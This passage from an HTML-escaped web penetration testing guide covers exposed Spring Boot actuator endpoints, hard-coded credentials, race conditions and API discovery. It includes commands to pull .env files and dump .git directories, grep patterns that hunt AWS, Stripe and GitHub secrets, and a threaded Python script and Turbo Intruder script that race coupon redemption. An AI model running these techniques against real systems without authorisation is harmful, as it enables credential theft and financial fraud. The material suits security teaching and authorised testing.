&amp;lt;p&amp;gt;&amp;lt;a href="https://target.com/actuator"&amp;gt;https://target.com/actuator&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/health"&amp;gt;https://target.com/actuator/health&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/env"&amp;gt;https://target.com/actuator/env&amp;lt;/a&amp;gt;          # Environment variables including credentials!&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/beans"&amp;gt;https://target.com/actuator/beans&amp;lt;/a&amp;gt;        # All Spring beans&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/mappings"&amp;gt;https://target.com/actuator/mappings&amp;lt;/a&amp;gt;     # All URL mappings&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/configprops"&amp;gt;https://target.com/actuator/configprops&amp;lt;/a&amp;gt;  # All configuration properties&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/loggers"&amp;gt;https://target.com/actuator/loggers&amp;lt;/a&amp;gt;      # Logger configuration&amp;lt;br&amp;gt;
&amp;lt;a href="https://target.com/actuator/metrics"&amp;gt;https://target.com/actuator/metrics&amp;lt;/a&amp;gt;      # Application metrics&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Spring Boot Actuator's &amp;lt;code&amp;gt;/actuator/env&amp;lt;/code&amp;gt; endpoint, when accessible without authentication, returns the complete application environment including database passwords, API keys, and all configuration values. This is a critical finding that is surprisingly common in cloud deployments.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nuclei-checks-for-actuator-exposure" href="#nuclei-checks-for-actuator-exposure" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Nuclei checks for actuator exposure:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;nuclei -u &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -id springboot-actuator&amp;lt;br&amp;gt;
nuclei -u &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -tags springboot&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6124-hardcoded-credentials" href="#6124-hardcoded-credentials" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.4 Hard-Coded Credentials
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-problem-credentials-as-code" href="#the-problem-credentials-as-code" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Problem — Credentials as Code
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Hard-coded credentials are authentication secrets embedded directly in source code rather than loaded from a secure configuration store. They appear in:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Database connection strings in application code&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;API keys in JavaScript files delivered to browsers&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Cryptographic keys and secrets in source repositories&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Default passwords in device firmware&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Test credentials left in production code&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Service account credentials in automation scripts&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;The fundamental problem: code is shared, versioned, reviewed, committed, and often eventually made public. Credentials embedded in code inherit all these properties. When the code is committed to Git and pushed to a remote repository, the credentials are in the version history permanently — even if they are "deleted" in a subsequent commit. &amp;lt;code&amp;gt;git log&amp;lt;/code&amp;gt; reveals all past states of the file.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Where hard-coded credentials appear in web applications:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`javascript&amp;lt;br&amp;gt;
// Client-side JavaScript (visible to ALL users):&amp;lt;br&amp;gt;
const apiKey = "OpenAI API key";  // OpenAI API key&amp;lt;br&amp;gt;
const stripeKey = "Stripe live key";  // Stripe live key&amp;lt;br&amp;gt;
const AWS_ACCESS_KEY = "AWS_ACCESS_KEY_";&amp;lt;br&amp;gt;
const AWS_SECRET_KEY = "AWS_ACCESS_KEY_";&amp;lt;br&amp;gt;
const dbPassword = "Pr0ductionDB_2024!";&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// In configuration files committed to version control:&amp;lt;br&amp;gt;
DATABASE_URL = "postgresql://app_user:&amp;lt;a href="mailto:Pr0d_DB_Password@prod-db.internal"&amp;gt;Pr0d_DB_Password@prod-db.internal&amp;lt;/a&amp;gt;:5432/appdb"&amp;lt;br&amp;gt;
REDIS_URL = "redis://:&amp;lt;a href="mailto:redis_password@redis.internal"&amp;gt;redis_password@redis.internal&amp;lt;/a&amp;gt;:6379/0"&amp;lt;br&amp;gt;
SECRET_KEY = "django-insecure-change-this-before-deployment"  # Still in production&amp;lt;br&amp;gt;
JWT_SECRET = "mysecretkey"  # Literally "mysecretkey"&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Searching for hard-coded credentials:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="in-a-codebase-you-have-access-to" href="#in-a-codebase-you-have-access-to" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  In a codebase you have access to:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;grep -rn "password|passwd|secret|api_key|apikey|access_key|token" \&amp;lt;br&amp;gt;
  /var/www/html/ --include="&amp;lt;em&amp;gt;.php" --include="&amp;lt;/em&amp;gt;.py" --include="&amp;lt;em&amp;gt;.js" \&amp;lt;br&amp;gt;
  --include="&amp;lt;/em&amp;gt;.env" --include="*.conf" -i&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="looking-for-specific-patterns" href="#looking-for-specific-patterns" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Looking for specific patterns:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;grep -rn "DB_PASS|DATABASE_PASSWORD|DB_PASSWORD" /var/www/html/ -i&amp;lt;br&amp;gt;
grep -rn "AKIA[A-Z0-9]{16}" /var/www/html/  # AWS Access Key pattern&amp;lt;br&amp;gt;
grep -rn "sk_live_[a-zA-Z0-9]{24}" /var/www/html/  # Stripe Live Key pattern&amp;lt;br&amp;gt;
grep -rn "ghp_[a-zA-Z0-9]{36}" /var/www/html/  # GitHub Personal Access Token&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="trufflehog-automated-secret-scanning" href="#trufflehog-automated-secret-scanning" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  trufflehog - automated secret scanning:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;trufflehog filesystem /var/www/html/&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="gitleaks-scan-git-repositories" href="#gitleaks-scan-git-repositories" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  gitleaks - scan git repositories:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;gitleaks detect --source /path/to/repo&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="in-public-github-repositories" href="#in-public-github-repositories" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  In public GitHub repositories:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="github-advanced-search-password-languagephp-filenameconfigphp" href="#github-advanced-search-password-languagephp-filenameconfigphp" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  GitHub advanced search: "password" language:PHP filename:config.php
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="github-code-search-api-for-organization" href="#github-code-search-api-for-organization" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  GitHub code search API for organization:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="httpsapigithubcomsearchcodeqorgtargetcopasswordfilenameconfig" href="#httpsapigithubcomsearchcodeqorgtargetcopasswordfilenameconfig" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  &amp;lt;a href="https://api.github.com/search/code?q=org:targetco+password+filename:config"&amp;gt;https://api.github.com/search/code?q=org:targetco+password+filename:config&amp;lt;/a&amp;gt;
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The Git History Attack:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Even when developers realize they committed credentials and remove them in a subsequent commit, the credential remains in git history:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="if-you-have-access-to-a-git-directory-another-finding-in-itself" href="#if-you-have-access-to-a-git-directory-another-finding-in-itself" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  If you have access to a .git directory (another finding in itself):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="download-entire-git-history" href="#download-entire-git-history" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Download entire git history:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;git log --oneline&amp;lt;br&amp;gt;
git show [COMMIT_HASH]:path/to/config.php  # Show file at specific commit&amp;lt;br&amp;gt;
git diff HEAD~1 HEAD -- config.php         # Show what changed&amp;lt;br&amp;gt;
git log -p --follow -- config.php          # Full history of file&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="tool-gitdumper-extract-git-repo-from-exposed-git-directory" href="#tool-gitdumper-extract-git-repo-from-exposed-git-directory" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Tool: git-dumper (extract git repo from exposed .git directory):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;git-dumper &amp;lt;a href="http://target.com/.git"&amp;gt;http://target.com/.git&amp;lt;/a&amp;gt; /tmp/dumped_repo/&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="after-dumping" href="#after-dumping" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  After dumping:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;cd /tmp/dumped_repo&amp;lt;br&amp;gt;
git log --all --oneline           # All commits&amp;lt;br&amp;gt;
git stash list                    # Any stashed changes&amp;lt;br&amp;gt;
git show stash@{0}                # Show stashed content (often dev credentials)&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="gitleaks-on-the-dumped-repository" href="#gitleaks-on-the-dumped-repository" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  gitleaks on the dumped repository:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;gitleaks detect --source /tmp/dumped_repo --verbose&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The .env file:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The &amp;lt;code&amp;gt;.env&amp;lt;/code&amp;gt; file is used by almost every modern web framework to store environment-specific configuration — database URLs, API keys, secrets, environment flags. It should never be accessible from the web, but when misconfigured it is a complete credential dump:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="test-if-env-is-accessible" href="#test-if-env-is-accessible" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Test if .env is accessible:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl &amp;lt;a href="https://target.com/.env"&amp;gt;https://target.com/.env&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="example-of-what-a-found-env-looks-like" href="#example-of-what-a-found-env-looks-like" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Example of what a found .env looks like:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;APP_KEY=base64:NbqGfCVBMuIJlQxCJjJfGzxPRGfDHXkVaGKBsTmrUa4=&amp;lt;br&amp;gt;
DB_CONNECTION=mysql&amp;lt;br&amp;gt;
DB_HOST=127.0.0.1&amp;lt;br&amp;gt;
DB_PORT=3306&amp;lt;br&amp;gt;
DB_DATABASE=laravel_production&amp;lt;br&amp;gt;
DB_USERNAME=laravel_user&amp;lt;br&amp;gt;
DB_PASSWORD=Pr0d_DB_P@ssword!&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE&amp;lt;br&amp;gt;
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&amp;lt;br&amp;gt;
AWS_DEFAULT_REGION=us-east-1&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;STRIPE_SECRET_KEY=STRIPE_SECRET_KEY=fake_STRIPE&amp;lt;br&amp;gt;
STRIPE_WEBHOOK_SECRET=STRIPE_SECRET_KEY=FAKE_STRIPE&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;MAIL_USERNAME=&amp;lt;a href="mailto:no-reply@targetcompany.com"&amp;gt;no-reply@targetcompany.com&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
MAIL_PASSWORD=EmailP@ssw0rd2024&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;REDIS_PASSWORD=Redis_Secret_2024&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;A single exposed &amp;lt;code&amp;gt;.env&amp;lt;/code&amp;gt; file like this can compromise the entire application infrastructure — database, cloud provider account, payment processor, email system, and caching layer.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6125-race-conditions" href="#6125-race-conditions" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.5 Race Conditions
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-timing-attack-on-business-logic" href="#the-timing-attack-on-business-logic" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Timing Attack on Business Logic
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;A race condition is a software flaw where the behavior of a program depends on the relative timing of concurrent operations, and that timing can be manipulated by an attacker to cause unintended behavior.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;In the context of web applications, race conditions occur in sequences where:&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;The application reads a state value (checking if a coupon is valid, verifying account balance, checking inventory)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The application makes a decision based on that state&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The application updates the state (marking coupon as used, deducting balance, reducing inventory)&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;If multiple requests arrive simultaneously, multiple instances of step 1 may execute before any instance of step 3 completes. Each request reads the original state and makes the same decision independently — but only one state update may occur, or the updates may conflict.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This was covered conceptually in Section 6.3 (Business Logic Flaws). Here we focus on the technical exploitation:&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="race-condition-attack-techniques" href="#race-condition-attack-techniques" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Race Condition Attack Techniques
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The Last-Byte Synchronization Technique:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;HTTP/1.1 requests are sent sequentially. For a race condition attack, requests need to arrive at the server simultaneously — within microseconds of each other.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The most effective technique is to build all requests completely and then send only the final byte of each simultaneously. TCP buffers the data on the server side, and releasing the final bytes simultaneously causes the server to process all requests at nearly the same moment.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;In Burp Suite:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;

&amp;lt;ol&amp;gt;
&amp;lt;li&amp;gt;Capture the sensitive request (e.g., coupon redemption)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Right-click → "Send to Repeater"&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Repeat this 20 times (20 tabs, same request)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;In Repeater: select all tabs (Ctrl+A)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Right-click → "Send group in parallel (last-byte sync)"&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;All 20 requests fire simultaneously&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Observe responses — how many succeeded?
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Python implementation for precise timing:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`python&amp;lt;br&amp;gt;
import threading&amp;lt;br&amp;gt;
import requests&amp;lt;br&amp;gt;
import time&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;target_url = "&amp;lt;a href="https://target.com/api/redeem-coupon"&amp;gt;https://target.com/api/redeem-coupon&amp;lt;/a&amp;gt;"&amp;lt;br&amp;gt;
headers = {&amp;lt;br&amp;gt;
    "Cookie": "session=your_session_cookie",&amp;lt;br&amp;gt;
    "Content-Type": "application/json"&amp;lt;br&amp;gt;
}&amp;lt;br&amp;gt;
data = {"coupon_code": "SAVE50"}&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="store-all-responses" href="#store-all-responses" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Store all responses
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;responses = []&amp;lt;br&amp;gt;
lock = threading.Lock()&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;def send_request():&amp;lt;br&amp;gt;
    response = requests.post(target_url, headers=headers, json=data)&amp;lt;br&amp;gt;
    with lock:&amp;lt;br&amp;gt;
        responses.append({&amp;lt;br&amp;gt;
            "status": response.status_code,&amp;lt;br&amp;gt;
            "body": response.json() if response.headers.get('content-type', '').startswith('application/json') else response.text&amp;lt;br&amp;gt;
        })&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="create-20-threads" href="#create-20-threads" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Create 20 threads
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;threads = []&amp;lt;br&amp;gt;
for i in range(20):&amp;lt;br&amp;gt;
    t = threading.Thread(target=send_request)&amp;lt;br&amp;gt;
    threads.append(t)&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="start-all-threads-simultaneously" href="#start-all-threads-simultaneously" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Start all threads simultaneously
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;for t in threads:&amp;lt;br&amp;gt;
    t.start()&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="wait-for-completion" href="#wait-for-completion" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Wait for completion
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;for t in threads:&amp;lt;br&amp;gt;
    t.join()&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="analyze-results" href="#analyze-results" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Analyze results
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;successes = [r for r in responses if r["status"] == 200]&amp;lt;br&amp;gt;
print(f"Total requests: {len(responses)}")&amp;lt;br&amp;gt;
print(f"Successful responses: {len(successes)}")&amp;lt;br&amp;gt;
if len(successes) &amp;gt; 1:&amp;lt;br&amp;gt;
    print(f"RACE CONDITION CONFIRMED: {len(successes)} successful redemptions")&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;High-precision Turbo Intruder (Burp extension):&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;For more precise timing control, Turbo Intruder sends requests with sub-millisecond precision:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`python&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="turbo-intruder-script-for-race-condition-testing" href="#turbo-intruder-script-for-race-condition-testing" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Turbo Intruder script for race condition testing:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;def queueRequests(target, wordlists):&amp;lt;br&amp;gt;
    engine = RequestEngine(endpoint=target.endpoint,&amp;lt;br&amp;gt;
                          concurrentConnections=20,&amp;lt;br&amp;gt;
                          requestsPerConnection=1,&amp;lt;br&amp;gt;
                          pipeline=False)&amp;lt;/p&amp;gt;
&amp;lt;div class="highlight"&amp;gt;&amp;lt;pre class="highlight plaintext"&amp;gt;&amp;lt;code&amp;gt;# Queue 20 identical requests
for i in range(20):
    engine.queue(target.req)
&amp;lt;/code&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;p&amp;gt;def handleResponse(req, interesting):&amp;lt;br&amp;gt;
    table.add(req)&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="common-race-condition-targets" href="#common-race-condition-targets" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Common Race Condition Targets
&amp;lt;/h4&amp;gt;

&amp;lt;table&amp;gt;&amp;lt;thead&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;th&amp;gt;Functionality&amp;lt;/th&amp;gt;
&amp;lt;th&amp;gt;Race Condition Impact&amp;lt;/th&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/thead&amp;gt;&amp;lt;tbody&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Single-use discount codes&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Redeem same code multiple times&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;"Limit 1 per customer" promotions&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Bypass purchase limit&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Account balance deduction&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Spend the same balance twice&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;File upload with virus scan&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Upload malicious file between scan and move&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Email verification token&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Use verification token multiple times&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Password reset token&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Execute multiple resets simultaneously&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Gift card redemption&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Apply gift card balance multiple times&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Inventory reservation&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Reserve more items than available&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Rate limiting by session count&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Create multiple sessions simultaneously&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6126-unprotected-apis" href="#6126-unprotected-apis" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.6 Unprotected APIs
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-api-security-gap" href="#the-api-security-gap" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The API Security Gap
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Modern web applications are built around APIs — Application Programming Interfaces that separate the front-end presentation from the back-end business logic. Single-page applications (React, Vue, Angular), mobile applications, and IoT devices all consume the same backend APIs.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The security gap arises because:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;The web UI enforces access controls through visible/invisible elements and client-side routing&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The API endpoints are often implemented with minimal or no server-side authorization checking&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Developers assume only the official clients will call the API&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;API documentation (Swagger/OpenAPI) may be publicly accessible, mapping the entire attack surface&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;API versioning creates old, forgotten endpoints with weaker security&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;The most dangerous assumption in API security: &amp;lt;strong&amp;gt;"This endpoint isn't linked anywhere in the UI, so nobody will find it."&amp;lt;/strong&amp;gt; This is incorrect, as JavaScript analysis, directory brute force, API documentation exposure, and traffic analysis all reveal API endpoints.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="api-discovery-techniques" href="#api-discovery-techniques" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  API Discovery Techniques
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;From JavaScript bundle analysis:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;SPAs bundle all API calls into JavaScript. Extract them:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="download-main-javascript-bundle" href="#download-main-javascript-bundle" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Download main JavaScript bundle:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -s &amp;lt;a href="https://target.com/static/js/main.abc123.js"&amp;gt;https://target.com/static/js/main.abc123.js&amp;lt;/a&amp;gt; | \&amp;lt;br&amp;gt;
  grep -oE "(/api/|/v[0-9]+/)[a-zA-Z0-9/_-]+" | sort -u&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="linkfinder-for-comprehensive-extraction" href="#linkfinder-for-comprehensive-extraction" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  LinkFinder for comprehensive extraction:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 linkfinder.py -i &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -d -o cli | grep "/api/"&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

